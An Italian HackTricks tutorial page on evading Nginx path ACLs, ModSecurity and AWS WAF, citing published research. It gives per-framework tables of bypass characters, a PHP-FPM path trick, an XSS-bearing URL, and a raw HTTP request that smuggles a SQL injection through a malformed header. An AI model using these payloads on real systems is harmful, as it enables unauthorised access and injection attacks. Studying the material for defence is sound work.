7.1 KiB
Bypass delle Protezioni Proxy / WAF
Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
{% embed url="https://websec.nl/" %}
Bypass delle Regole ACL di Nginx con la Manipolazione del Percorso
Tecniche da questa ricerca.
Esempio di regola Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS - Express
Versione Nginx | Caratteri di bypass Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Versione Nginx | Caratteri di bypass Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Versione Nginx | Caratteri di bypass Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Configurazione Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx è configurato per bloccare l'accesso a /admin.php
ma è possibile aggirare ciò accedendo a /admin.php/index.php
.
Come prevenire
location ~* ^/admin {
deny all;
}
Ignorare le regole di Mod Security
Confusione del percorso
In questo post viene spiegato che ModSecurity v3 (fino alla versione 3.0.12) ha implementato in modo improprio la variabile REQUEST_FILENAME
che avrebbe dovuto contenere il percorso accesso (fino all'inizio dei parametri). Questo perché eseguiva un URL decode per ottenere il percorso.
Pertanto, una richiesta come http://example.com/foo%3f';alert(1);foo=
in ModSecurity supporrà che il percorso sia solo /foo
perché %3f
viene trasformato in ?
terminando il percorso dell'URL, ma in realtà il percorso che il server riceverà sarà /foo%3f';alert(1);foo=
.
Anche le variabili REQUEST_BASENAME
e PATH_INFO
sono state interessate da questo bug.
Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso di ignorare una protezione che impediva agli utenti di accedere a file con estensioni specifiche relative ai file di backup (come ad esempio .bak
) semplicemente inviando il punto URL codificato in %2e
, ad esempio: https://example.com/backup%2ebak
.
Ignorare AWS WAF ACL
Intestazione malformata
Questa ricerca menziona che era possibile ignorare le regole di AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma sì dal server backend.
Ad esempio, inviando la seguente richiesta con un'iniezione SQL nell'header X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Era possibile aggirare AWS WAF perché non capiva che la riga successiva faceva parte del valore dell'intestazione mentre il server NODEJS lo faceva (questo è stato risolto).
Riferimenti
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
{% embed url="https://websec.nl/" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.